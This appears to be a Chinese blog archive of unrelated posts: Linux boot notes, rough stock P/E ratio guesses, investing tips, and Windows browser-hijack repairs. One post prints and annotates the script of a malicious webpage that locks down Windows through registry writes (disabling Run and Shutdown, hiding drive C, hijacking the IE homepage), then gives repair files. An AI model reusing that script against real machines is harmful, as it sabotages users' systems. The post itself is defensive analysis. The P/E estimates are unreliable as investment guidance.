Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 此外还应加上如何和您保持联系的信息。
 如果程序以交谈方式进行工作,当它开始进入交互方式工作时,应输出类似下面的简短声明:
Gnomovision 第 69 版,版权所有 (C) 19XX,作者姓名, Gnomovision 绝对没有担保。要知道详细情况,请输入 "show w"。 这是自由软件,欢迎您遵守一定的条件重新发布它,要知道详细情况, 请输入 "show c"。
 假设的命令 "show w" 和 "show c" 应显示通用公共许可证的相应条款。当然,您使用的命令名称可以不同于 "show w" 和 "show c" 。根据您的程序的具体情况,也可以用选单或鼠标来显示这些条款。
 如果需要,您应该取得您的上司 (如果您是程序员) 或您的学校签署放弃程序版权的声明。下面只是一个例子,您应该改变相应的名称:
Yoyodyne 公司以此方式放弃 James Hacker 所写的 Gnomovision 程序的全部版权利益。
Ty coon 签名,1989.4.1Ty coon 副总裁
 这一许可证不允许您将程序并入私有程序。如果您的程序是一个子函式库。您可能会认为让它和私有的应用程序连接会更有用。如果您想这么做,请使用 GNU 函式库通用公共许可证代替本许可证。
CLDP 译注
本文的原始翻译者已不可考(如果有人知道,请告诉我)。译文经过下列人士的修改与润饰(依先后顺序):
霍东灵
谢东翰
洪朝贵
黄志伟

出处:http://www.linux.org.tw

2007年2月24日星期六

郁闷的问题---redhat内核版本与销售版本的对应

看到一片文章说支持linux的厂商正在制定标准以应对日益混乱的linux版本造成的市场萎缩,早该标准化了,当年的Linus Torvalds就应该制定标准,看看现在linux版本乱的,唉~
我都没有搞清楚自己用的是什么版本只知道用uname -a查出内核是redhat9 2.4.20-8,
上网查了半天发现有个文件有一点点帮助
more /etc/redhat-release 显示Red Hat Linux release 9 (Shrike)

复习linux的启动过程

今天复习linux的启动过程,自我感觉记忆力大不如以前了,唉~都是IT惹的祸...windows用习惯了渐渐地连OS是怎么引导的都不是很清楚了,真实悲哀...

1.按下电源
开始bootstrap (俗语:“自己脱掉自己的靴子”也就是说在没有外界的帮助下完成所有工作)

2.装载引导扇区
读取ROM BIOS并根据设置初始化硬件参数,然后将启动设备的整个硬盘第一个引导扇区MBR加载到内存并把控制权转它(注:MBR包含一个小的装入程序和一个分区表),由MBR读取活动分区的引导扇区(如果LILO装在这里的话)

3.装载系统内核
系统根据lilo.conf里的设置加载相应的系统内核
kernel /vmlinuz-2.4.20-8 ro root=LABEL=/
*init和single参数
使用init参数直接告诉内核去启动另外一个进程(比如/bin/sh)而不是/sbin/init
使用single参数是将single直接传递给/sbin/init
引导计算机的人必须输入密码但是如果lilo.conf中没有设置password和restrict选项就可以对shell任意操作喽

4.硬件设备驱动初始化
用dmesgmore查看详情
4.1 内核版本号的显示
屏幕会显示内核的版本号
4.2 控制台的初始化
屏幕会显示 Console:colour VGA+ 80x25
4.3 速度指数和内存计算
4.4 检查CPU
4.5 PCI总线的探测和初始化
4.6 TCP/IP的初始化
4.7 串口的初始化
4.8 磁盘驱动器的初始化

5. 装载linux的服务---init进程
init进程号为1,根据/etc/inittab配置文件的参数启动系统服务

6.启动脚本
6.1 init先启动系统初始化脚本/etc/rc.d/rc.sysinit
init根据不同的runlevel传递不同的参数给系统初始化脚本,如l3传递3给rc.sysinit
**************************
*来看看rc.sysinit都作了什么
*--用swapon命令初始化交换空间
*--用fsck检查文件系统的结构和组成
*--装载/proc文件系统并重新装载根文件系统/为可读写
*--装载内核模块并结束运行
***************************
6.2 init开始执行该runlevel的脚本
init先运行控制脚本/etc/rc.d/rc并向其传递runlevel参数3,然后该控制脚本去运行该runlevel对应的脚本文件/etc/rcn.d 如rc3.d(其实在它们是关联到/etc/rc.d/init.d里面的相应的真实脚本)。注意S开头的是启动脚本K开头的是关闭脚本,它们都是按名字顺序执行的。
6.3 init再执行脚本/etc/rc.d/rc.local

7.装载可装载模块
这些可装载模块常常用添加设备的驱动程序,通常来说多数硬件可以在系统初始化时被内核正确设置但有时也会需要装载特殊设备的驱动,用lsmod可以检查系统已经装载的模块,用modprobe可以手动装载模块,用rmmod可以手动卸载模块

至此,linux引导完成

我有一些关于中国股市市盈率合理倍数的另类算法:

FT中文网编辑:

我有一些关于中国股市市盈率合理倍数的另类算法:

一、市盈率与GDP

不同经济体的同一经济指标具有可比性,同一经济体内部各经济指标之间具有程度不同的相关性。GDP与市盈率的相关性到底有多大,尚未见名家的有关论述,笔者此处推算权当娱乐而已,所用数字乃是大概估计的。

(1)与美国相比

美国的GDP增速为3%,对应的股市市盈率为18倍,中国大陆的GDP增速为9.5%,则:

中国大陆股市市盈率/美国股市市盈率=中国大陆的GDP增速/美国的GDP增速

中国大陆股市市盈率=(中国大陆的GDP增速×美国股市市盈率)/美国的GDP增速

中国大陆股市市盈率=(9.5%×18倍)÷3%=57倍

(2)与香港相比

香港的GDP增速为5.5%,对应的股市市盈率为18倍,中国大陆的GDP增速为9.5%,则:

中国大陆股市市盈率/香港股市市盈率=中国大陆的GDP增速/香港的GDP增速

中国大陆股市市盈率=(中国大陆的GDP增速×香港股市市盈率)/香港的GDP增速

中国大陆股市市盈率=(9.5%×18倍)÷5.5%=31倍

假定一个经济体的经济增长速度与其股市市盈率具有较强的相关性,比照成熟的经济体,中国大陆股市市盈率在31倍至57倍之间都是合理的。

二、市盈率与年存款利率

在前几天的"第一财经"《今日股市》节目里,笔者第一次听说市盈率倍数与年存款利率倒数具有比照关系的说法。笔者下来查了有关资料,发现新浪网2003年01月22日转载了一篇《中华工商时报》的《水皮杂谈》,水皮在其杂谈中讲到了市盈率倍数与年存款利率倒数的比照关系。根据此种说法,由我们现行定期1年期存款利率为2.52%可得:

中国大陆股市市盈率=1/定期1年期存款利率=1/2.52%=40倍

如果市盈率倍数与年存款利率的倒数具有比照关系说成立,那么,在现行定期1年期存

款利率为2.52%的情况下,中国大陆股市市盈率在40倍之下都是是合理的。

如此看来,我们股市目前的泡沫论似乎不成立。

股市外的4大理财投资选择

 编者按:
  当买菜的大妈都在议论股票、基金时,你还会对股市保持足够的冷静吗?面对大热的股市,我们该如何理性面对呢?  
  其实,同股票一样,我们还有很多金融工具可以关注,也同样可以达到财富增值的目的。本期专题"股市之外",我们重点介绍了外汇期权、股指期货、私募基金、外汇四种工具的操作实例。
  除了金融工具,本期专题我们同样关注商铺、特许经营、服务贸易、创意产业、互联网与传统产业的融合,以此提醒那些准备尚不充分就匆忙入市的"准股民":股市不是唯一,不要头脑一热就放弃主业,而将大量资金投入股市。在2.0时代,还有很多可以发挥创富智慧的投资机会。
  股市牛气冲天,基金一路飘红,但是仍有人对投资于股市持保守态度。
  北京师范大学珠海分校刘文献教授自称是"顽固的直接投资支持者"。他表示,对于股市的过度关注及媒体对于股市投资的鼓吹,等于强化了国民的赌性,弱化了人们的创富智慧。另一方面,从各大项目投资网的火爆、电视台各种创富类栏目的兴起也可以看出一种需求趋势:手中握有资金的非股民们希望找到更多的投资通道。这也是刘文献和凯尔文德投资顾问有限公司董事长刘毅等专家对直接投资倍加推崇的原因。二位专家共同推荐了2007年股市之外值得关注的四个投资方向。
  特许经营 关键词:有法可依  
  投资秘笈:最具投资潜力的应该是那些有20家~30家店铺、资信好、直营店运营良好的企业。
  特许经营造就了许多企业扩张奇迹。2006年,经济型连锁酒店如家的上市为特许经营企业树立了一个榜样,使更多的人将目光投向特许经营行业。今年3月,商务部将正式颁布《特许经营管理条例》。近期商务部正开展特许经营全行业调查,并将在此基础上评选出100强企业。
  法规的颁布、政府的重视、优秀企业的崛起必然会为特许经营行业创造一个前所未有的发展环境,尤其是法律的颁布,使投资人有了明确方向和保障。盟主的行为是否违规有了明确的界定,投资人可以通过政府主管部门的备案对盟主进行查询。这些都使投资人会在特许经营领域付诸更大的热情。
  不过,刘毅特别提醒,在全国真正从事特许经营的5000家企业中,有100家店铺的盟主可能只占20%,这部分企业早已成为大公司及风险投资商关注的重点。对于单店投资人来说,这样的企业并不一定有价值,比如小肥羊,目前正面临门槛过高、好的店铺资源被占据等难题。而真正的"潜力股"应该是那些有20家~30家店铺、资信好、直营店运营良好的企业。这样的店才最具投资潜力。
服务贸易关键词:商业模式
  投资秘笈:选择服务行业项目的关键是商业模式。一家洗衣店只会洗衣服肯定不赚钱,但为顾客打造自己的私人衣橱,提供洗衣、存衣服务就会赢得市场。
  服务业和服务贸易也将成为投资人关注的领域。从世界范围看,服务贸易发展战略正成为各国战略重点。在WTO新一轮谈判中,服务贸易也成为主要议题。欧美等发达国家利用其服务贸易水平领先优势,正试图通过各种多双边谈判打开他国服务贸易市场。
  为应对国外服务贸易的转移,商务部在2006年成立了服务贸易司。目前无论从市场现状还是国际国内政策风向,服务业及服务贸易的崛起都将给投资人更多的想象空间。不过,无法涉足金融、邮政等领域的中小投资人在选择服务行业的项目时,不应过多关注产品,而应关注服务产品所依托的商业模式。只有升级的商业模式才能带来更大的投资空间。比如,以前投资一家干洗店或美容院就可以赚钱,现在已经没那么容易了。
  但是某一家洗衣店为顾客打造自己的私人衣橱,不仅提供洗衣服务,还提供存衣服务就会赢得市场。卖化妆品的门店将把教人化妆、服饰搭配、形象设计、购衣顾问的服务整合在一起,也会赢得顾客。服务行业传统的产品型服务或者低端服务模式正在向更高端的服务模式转化。商业模式将是投资服务行业所要考量的一个重点。
 创意产业关键词:创意
  投资秘笈:创意产业是围绕创意人建立的赢利模式,并不是在所有的行业都可以实现,只是在某些适合表达创意的行业才会创造出巨大的增值空间。
  网游、动漫、艺术等满足人们精神需求的消费产品大多被定义为创意产业的范畴。随着经济的发展,人们生活水平的提高,创意文化产业兴起是一个必然。政府对创意文化产业支持的力度也在加大,这个领域对于投资人的吸引力正在日渐增强。
  创造性行业所爆发出的商业能量是非常大的。但是创意产业的成败通常与创意本身及创意人或团队的执行力密切相关,因此,人的因素是投资人需要关注的
互联网关键词:嫁接传统
  投资秘笈:互联网与传统行业有机结合的项目,其赢利模式更容易体现。
  在目前各种各样的互联网项目与投资人交流活动中,真正有经验的风险投资人已经很难发现基于互联网的优秀项目了。原先互联网无非是广告、搜索、竞价等赢利模式,这些领域对于新的投资者来说很难参与。
  "互联网与传统行业的嫁接会创造出新的赢利可能。"刘毅近日正在接触的几个项目都是传统行业嫁接互联网的项目。比如某企业依托网络的在线印刷项目,通过网络实现了客户完全的个性化印刷需求。这就是传统印刷技术的革命与互联网巧妙嫁接的结果。而这种互联网与传统行业有机结合的项目赢利模式更容易体现。(姜蓉)

安装完samba 3.0.24以后

今天把我的RH9的samba由samba-2.2.7a-7.9.0升级到了samba 3.0.24

2007年2月22日星期四

浏览网页注册表被修改之迷及解决办法

浏览网页会被修改注册表?千真万确!如果你去浏览过下面的网页:http:||www.findfeel.com|default.htm ,你真有生不如死的感觉!

进入该网页会被:

  1.修改开始菜单

  1)禁止“关闭系统”
  2)禁止“运行”
  3)禁止“注销”

  2.隐藏C盘——你的C盘找不到了

  3.禁止使用注册表编辑器regedit

  4.禁止使用DOS程序

  5.使系统无法进入“实模式”

  6.禁止运行任何程序

  7.将IE浏览器的首页改为http:||www.findfeel.com|,收藏夹中也被加入该网址。

  那么这些功能恐怖的功能是如何实现的呢?原来,该网页是有人利用Java技术制作的含有有害代码的ActiveX网页文件。为让更多的人了解其危害,我查看了其源代码,将其主要部分列了出来,并加了详细的注释(文中有“注”字的部分是我加的注释)。

注:下面代码是将你的IE默认连接首页改为http:||www.findfeel.com|
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\
Start Page", "http:||www.findfeel.com|");

注:以下是该网页修改受害者的注册表项所用的招数

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\Explorer\\NoRun", 01, "REG_BINARY");
注:使受害者系统没有“运行”项,这样用户就不能通过注册表编辑器来修改该有害网页对系统注册表的修改。


Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoClose", 01, "REG_BINARY");
注:使受害者系统没有“关闭系统”项

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoLogOff", 01, "REG_BINARY");
注:使受害者系统没有“注销”项

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoDrives", "00000004", "REG_DWORD");
注:使受害者系统没有逻辑驱动器C

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\WinOldApp\\ Disabled","REG_BINARY");
注:禁止运行所有的DOS应用程序;

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\ \WinOldApp\\NoRealMode","REG_BINARY");
注:使系统不能启动到“实模式”(传统的DOS模式)下;

又注:进入该网页,它还会修改以下的注册表项,使WINDOWS系统登录时显示一个登录窗口(在MicroSoft网络用户登录之前)

Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Winlogon\\LegalNoticeCaption", "呜啦啦...");
注:这些代码会使窗口的标题是“呜啦啦…”

Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Winlogon\\LegalNoticeText", "欢迎你!你这个超级无敌大白痴!《呜啦啦...》故事开始了,按确定进入悲惨世界");
注:上面一行是会在窗口中显示出来的文字

注:下面两行代码修改注册表,使受害者所有的IE窗口都加上以下的标题:“呜啦啦…”

Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\
Window Title", "呜啦啦...");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\
Window Title", "呜啦啦...");
注:到上面一行为止,完成了对受害者的注册表的所有修改!


注:下面代码用来将其网页增加到受害者的收藏夹中

var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\
" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}

注:下面就是使其网页加入到你的收藏夹的具体代码
AddFavLnk(loc, "找到感觉www.findfeel.com", "http:||www.findfeel.com");

  由于代码很简单,又加了注释,相信你已经看明白是怎么回事了。那么如果不小心进入该网页,并且已经中招了该怎么办呢?别急,下面给你列出了解决的办法。

受害用户的修复方法:

  1:对于Win9x用户,建议在电脑启动时按F8键,选择到MS-DOS方式下,使用Scanreg|restore命令来恢复以前备份的、正常的注册表。

  2:对于Win2000用户,把以下内容copy下来,存为unlock.reg文件,选带命令行的安全模式,用命令regedit unlock.reg导入,如何重启机器就OK了。

unlock.reg文件内容如下:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\Explorer]
"NoDriveTypeAutoRun"=dword:00000095
"NoRun"=hex:
"NoLogOff"=hex:
"NoDrives"=dword:00000000
"RestrictRun"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
"DisableRegistryTools"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
"DisableRegistryTools"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\WinOldApp]
"Disabled"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\WinOldApp]
"NoRealMode"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Winlogon]
"LegalNoticeCaption"=""
"LegalNoticeText"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Window Title"="IE浏览器"

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"="IE浏览器"

预防办法:

  1.要避免中招,关键是不要轻易去一些自己并不了解的站点。

  2.在IE设置中将ActiveX插件和控件、Java脚本等全部禁止

  3.可以通过升级到最新的病毒库,来预防该类恶意网页的侵害。

  4.既然该网页是通过修改注册表来破坏我们的系统,那么我们可以事先把注册表加锁:禁止修改注册表,这样就可以达到预防的目的。不过,自己要使用注册表编辑器regedit.exe该怎么办呢?因此我们还要在此前事先准备一把“钥匙”,以便打开这把“锁”!

  加锁方法如下:

  (1)运行注册表编辑器regedit.exe;
  (2)展开注册表到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System下,新建一个名为DisableRegistryTools的DWORD值,并将其值改为“1”,即可禁止使用注册表编辑器regedit.exe。

  解锁方法如下:

  用记事本编辑一个任意名字的.reg文件,比如unlock.reg,内容如下:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
"DisableRegistryTools"=dword:00000000

  存盘。你就有了一把解锁的钥匙了!如果要使用注册表编辑器,则双击unlock.reg即可。要注意的是,在“REGEDIT4”后面一定要空一行,并且“REGEDIT4”中的“4”和“T”之间一定不能有空格,否则将前功尽弃!

说明:对于“万花谷”网页的恶意代码带来的破坏,也可按上面所提的方法来预防,中招后也可参考上面的方法解决。另,KV3000对“万花谷”可完全恢复,对本文介绍的网页破坏系统现象,则无法安全恢复。

IE默认连接首页被修改

1、IE默认连接首页被修改

IE浏览器上方的标题栏被改成“欢迎访问******网站”的样式,这是最常见的篡改手段,受害者众多。
受到更改的注册表项目为:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page
通过修改“Start Page”的键值,来达到修改浏览者IE默认连接首页的目的,如浏览“*****”就会将你的IE默认连接首页修改为 http://ppw.****.com ”,即便是出于给自己的主页做广告的目的,也显得太霸道了一些,这也是这类网页惹人厌恶的原因。

解决办法:
A. 注册表法
①在Windows启动后,点击“开始”→“运行”菜单项,在“打开”栏中键入regedit,然后按“确定”键;
②展开注册表到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下,在右半部分窗口中找到串值“Start Page”双击 ,将Start Page的键值改为“about:blank”即可;
③同理,展开注册表到HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
在右半部分窗口中找到串值“Start Page”,然后按②中所述方法处理。
④退出注册表编辑器,重新启动计算机,一切OK了!

特殊例子:当IE的起始页变成了某些网址后,就算你通过选项设置修改好了,重启以后又会变成他们的网址啦,十分的难缠。其实他们是在你机器里加了一个自运行程序,它会在系统启动时将你的IE起始页设成他们的网站。

解决办法:

运行注册表编辑器regedit.exe,然后依次展开
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run主键,然后将其下的registry.exe子键删除,然后删除自运行程序c:\Program Files\registry.exe,最后从IE选项中重新设置起始页就好了。


2、篡改IE的默认页
有些IE被改了起始页后,即使设置了“使用默认页”仍然无效,这是因为IE起始页的默认页也被篡改啦。具体说来就是以下注册表项被修改:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\
Main\Default_Page_URL“Default_Page_URL”这个子键的键值即起始页的默认页。

解决办法:

A.运行注册表编辑器,然后展开上述子键,将“Default_Page_UR”子键的键值中的那
些篡改网站的网址改掉就好了,或者设置为IE的默认值。

B.msconfig 有的还是将程序写入硬盘中,重启计算机后 首页设置又被改了回去,这时可使用“系统配置实用程序”来解决。开始-运行,键入msconfig点击“确定”,在弹出的窗口中切换到“启动”选项卡,禁用可疑程序启动项。
3、修改IE浏览器缺省主页,并且锁定设置项,禁止用户更改回来。
主要是修改了注册表中IE设置的下面这些键值(DWORD值为1时为不可选):
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control
Panel]"Settings"=dword:1
 [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]"Links"=dword:1
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Pan
el]"SecAddSites"=dword:1

解决办法:
将上面这些DWORD值改为“0”即可恢复功能。

4、IE的默认首页灰色按扭不可选
这是由于注册表HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet E
xplorer\Control Panel下的DWORD值“homepage”的键值被修改的缘故。原来的键值为“0”,被修改为“
1”(即为灰色不可选状态)。

解决办法:

将“homepage”的键值改为“0”即可。

5、IE标题栏被修改

在系统默认状态下,是由应用程序本身来提供标题栏的信息,但也允许用户自行在上述注册表项目中填加信息,而一些恶意的网站正是利用了这一点来得逞的:它们将串值Window Title下的键值改为其网站名或更多的广告信息,从而达到改变浏览者IE标题栏的目的。

具体说来受到更改的注册表项目为:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title

解决办法:

①在Windows启动后,点击“开始”→“运行”菜单项,在“打开”栏中键入regedit,然后按“确定”键;
②展开注册表到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下,在右半部分窗口中找到串值“Window Title” ,将该串值删除即可,或将Window Title的键值改为“IE浏览器”等你喜欢的名字;
③同理,展开注册表到
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main然后按②中所述方法处理。
④退出注册表编辑器,重新启动计算机,运行IE,你会发现困扰你的问题解决了!
6、IE右键菜单被修改

受到修改的注册表项目为:
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt下被新建了网页的广告信息,并由此在IE右键菜单中出现!

解决办法:

打开注册标编辑器,找到
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt
删除相关的广告条文即可,注意不要把下载软件FlashGet和Netants也删除掉啊,这两个可是“正常”的呀,除非你不想在IE的右键菜单中见到它们。

7、IE默认搜索引擎被修改

在IE浏览器的工具栏中有一个搜索引擎的工具按钮,可以实现网络搜索,被篡改后只要点击那个搜索工具按钮就会链接到那个篡改网站。出现这种现象的原因是以下注册表被修改:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\CustomizeSearch
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\SearchAssistant

解决办法:

运行注册表编辑器,依次展开上述子键,将“CustomizeSearch”和“SearchAssis
tant”的键值改为某个搜索引擎的网址即可。

8、系统启动时弹出对话框

受到更改的注册表项目为:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon

在其下被建立了字符串“LegalNoticeCaption”和“LegalNoticeText”,其中“L
egalNoticeCaption”是提示框的标题,“LegalNoticeText”是提示框的文本内容。由
于它们的存在,就使得我们每次登陆到Windwos桌面前都出现一个提示窗口,显示那些网
页的广告信息!你瞧,多讨厌啊!

解决办法:

打开注册表编辑器,找到
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon
这一个主键,然后在右边窗口中找到“LegalNoticeCaption”和“LegalNoticeText”这两个字符串,删除这两个字符串就可以解决在登陆时出现提示框的现象了。
9、浏览网页注册表被禁用

这是由于注册表
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
下的DWORD值“DisableRegistryTools”被修改为“1”的缘故,将其键值恢复为“
0”即可恢复注册表的使用。

解决办法

用记事本程序建立以REG为后缀名的文件,将下面这些内容复制在其中就可以了:
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
]“DisableRegistryTools”=dword:00000000

10、浏览网页开始菜单被修改
这是最“狠”的一种,让浏览者有生不如死的感觉。浏览后不仅有类似上面所说的
那些症状,还会有以下更悲惨的遭遇:

1)禁止“关闭系统”

2)禁止“运行”

3)禁止“注销”

4)隐藏C盘——你的C盘找不到了!

5)禁止使用注册表编辑器regedit

6)禁止使用DOS程序

7)使系统无法进入“实模式”

8)禁止运行任何程序

具体的原因和解决办法请看天极网e企业之安全之路栏目的这篇文章:《浏览网页注册表被修改之迷及解决办法》。

以上是比较常见的修改浏览者注册表的现象,今天在浏览网页时,无意中来到某个
个人网站,又遇到了以前没有碰到过的问题:

解决IE无法打开的问题

这两天上网浏览网页时突然发现IE不能打开链接了,详细故障是在地址栏输入网页地址可以打开网页,但是在IE中点击一个链接,网页上的链接打不开,如果这个链接需要在新窗口打开,只见当前窗口一闪,然后什么也没打开,但是如果换了腾讯的浏览器却可以打开链接,我开始怀疑是装什么应用软件引起的故障,于是就卸载了最近安装的软件,发现问题依旧。以前听说过这个怪问题,不少人为了解决这个问题,只能重装系统。而我最讨厌重装系统,于是只好求助与google,看看能否找到解决办法,由于自己的IE出了问题,因此我用了同事的机器在google上用关键字“ie 无法打开链接“搜了一下,果然搜出了很多结果,其中一篇我认为可以解决该问题的帖子,内容如下:

解决新窗口中打不开IE及其原理
在WindowsXP或windows2000系统中经常会出现在IE打开后不能进入二级的页面,如果你能确定你的网络是好的,机子又不象是有病毒(一般有病毒机子的速度会有明显的减慢),那么最大可能的情况就是你安装的新软件时在控件的注册上出了问题。比如ACDsee迷你版最容易出现这种问题。
解决办法:  

  在开始菜单中依次运行以下几个命令:

  Regsvr32 urlmon.dll

  Regsvr32 actxprxy.dll

  Regsvr32 shdocvw.dll

  Regsvr32 oleaut32.dll   

  基本原理:

  Regsvr32命令是用来对未注册的"ActiveX控件"进行注册的。外来ActiveX控件要应用到自己的程序中也必须使用它注册。ActiveX控件技术是微软于1996年推出的,得到了许多软件公司的支持,虽然现在安装软件时都是自动进行注册,但有时手工注册还是有必要的。   

  Regsvr32命令格式

  Regsvr32 [/u][/s][/n][/l[:cmdline]] dliname(或OCX控件)  

  说明:

  /u:卸载ActiveX控件

  /s:注册成功后不显示*作成功信息框

  /c:控制台输出

  /l:调用Dlllnstall安装函数并将可选参数[cmdline]传给它,当使用/u时调用卸    载函数

  /n:不调用DllRegisterServer,该参数必须和/l一起使用.

  我们平时最常用的有两种方法,即"Regsvr32 ActiveX.dll"(注册ActiveX控件)和"Regsvr32 /u ActiveX.dll"(卸载ActiveX控件).下面举两个例子说明.

  在C盘根目录下有个"Rtj.dll"控件需要我们手工注册.我们只要单击"开始"——“运行”,在运行对话框中输入“Regsvr32 C:\Rtj.dll”,这时弹出“DllRegisterServer in rtj.dll succeeded”对话框,说明注册成功;如果要卸载,在运行对话框中输入“Regsvr32 /u C:\Rtj.dll”即可。

  另外,使用Regsvr32命令可以用达到下面一些效果。
一、修复不能在新窗口中打开的IE

  很多朋友在上网时,发现IE不能打开新的窗口,用鼠标左键点击超链接没有任何反应,用鼠标右键点击超键接,在弹出的快捷菜单中选择“在新窗口中打开”也没有任何反应,重装太麻烦, 我们可以使用Regsvr32命令来修复!

  1、单击"开始"——“运行”,在运行对话框中输入“Regsvr32 actxprxy.dll”,并回车,接着会出现一个信息框,“DllRegisterServer in actxprxy.dll succeeded”对话框,表示*作成功。

  2、按照同样的方法输入“Regsvr32 shdocvw.dll”,单击确定。

  3、重新启动WIN系统,运行IE,此时应该问题解决。

  如果还不行, 那么把shdocvw.dll, Oleaut32.dll,Actxprxy.dll,Mshtml.dll,Msjava.dll,Browseui.dll 和Urlmon.dll这几个控年全部重新注册一遍应该可以解决问题。

  二、卸载winXP自带的ZIP功能

  输入Regsvr32 /u zipfldr.dll,则卸载winXP自带的ZIP功能。如果输入Regsvr32 zipfldr.dll,则恢复ZIP功能。

  三、防范脚本病毒

  现在的脚本病毒很是厉害,通过网页传播,上网时,不知不觉你的机器就会感染上病毒了。不过只要你了解病毒传播的机制,还是有办法把它的危害降到最低的。很多脚本病毒的复制,传播都离不开“FSO对象(FileSystemObject)”,因此禁用“FileSystemObject”就能有效地控制脚本病毒的传播。

  输入“Regsvr32 /u scrrun.dll”,即可禁用FSO对像。。。恢复则输入“Regsvr32 scrrun.dll”

goole上搜到的另一篇帖子内容如下:

方法一:重新注册以下DLL文件:
regsvr32 Shdocvw.dll
regsvr32 Shell32.dll (注意这个命令,先不用输)
regsvr32 Oleaut32.dll
regsvr32 Actxprxy.dll
regsvr32 Mshtml.dll
regsvr32 Urlmon.dll

第二个命令可以先不用输,输完这些命令后重新启动windows,如果发现无效,再重新输入一遍,这次输入第二个命令。

方法二:COMCTL32.DLL文件产生的问题:
在升级IE或windows时这个文件可能被替换了,也许新版本的COMCTL32.DLL文件有BUG。
找一张windows安装光盘,搜索它,找到一个名为COMCTL32.DL_的文件,把它拷贝出来,用winrar提取 这个文件为COMCTL32.DLL文件,并覆盖现有文件。

方法三:用方法一重新注册regsvr32 Oleaut32.dll时出错或重新注册后也无效。
在windows光盘里提取Oleaut32.dll文件,在MDAC_IE5.CAB文件包里,也是用winrar提取并覆盖现有。

方法四:DCOM属性设置错误:
详细参见:http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q274696
1.点击“开始”;
2.输入“Dcomcnfg”;
3.弹出的提示框选“是”;
4.点“默认安全机制”标签;
5.在“默认访问权限”栏点“编辑默认值”;
6.看看“名称”下面的栏里有没有“SYSTEM”和“Interactive”项,如果没有,则添加;
7.点击OK,点击OK。

方法五:下载这个工具也许有助于修复问题:
http://download.microsoft.com/download/msninvestor/Patch/1.0/WIN98/EN-US/mcrepair.EXE

方法六:

安装3721网站上的上网助手,它有一个阻止广告的选项,如果起用的话,用IE的话,二级链接一般都打不开,把它去掉就可以了。

配置一个安全的Linux DHCP服务器

配置一个安全的Linux DHCP服务器

转自:http://tech.ccidnet.com/pub/article/c743_a253591_p1.html
感谢原创作者:曹江华


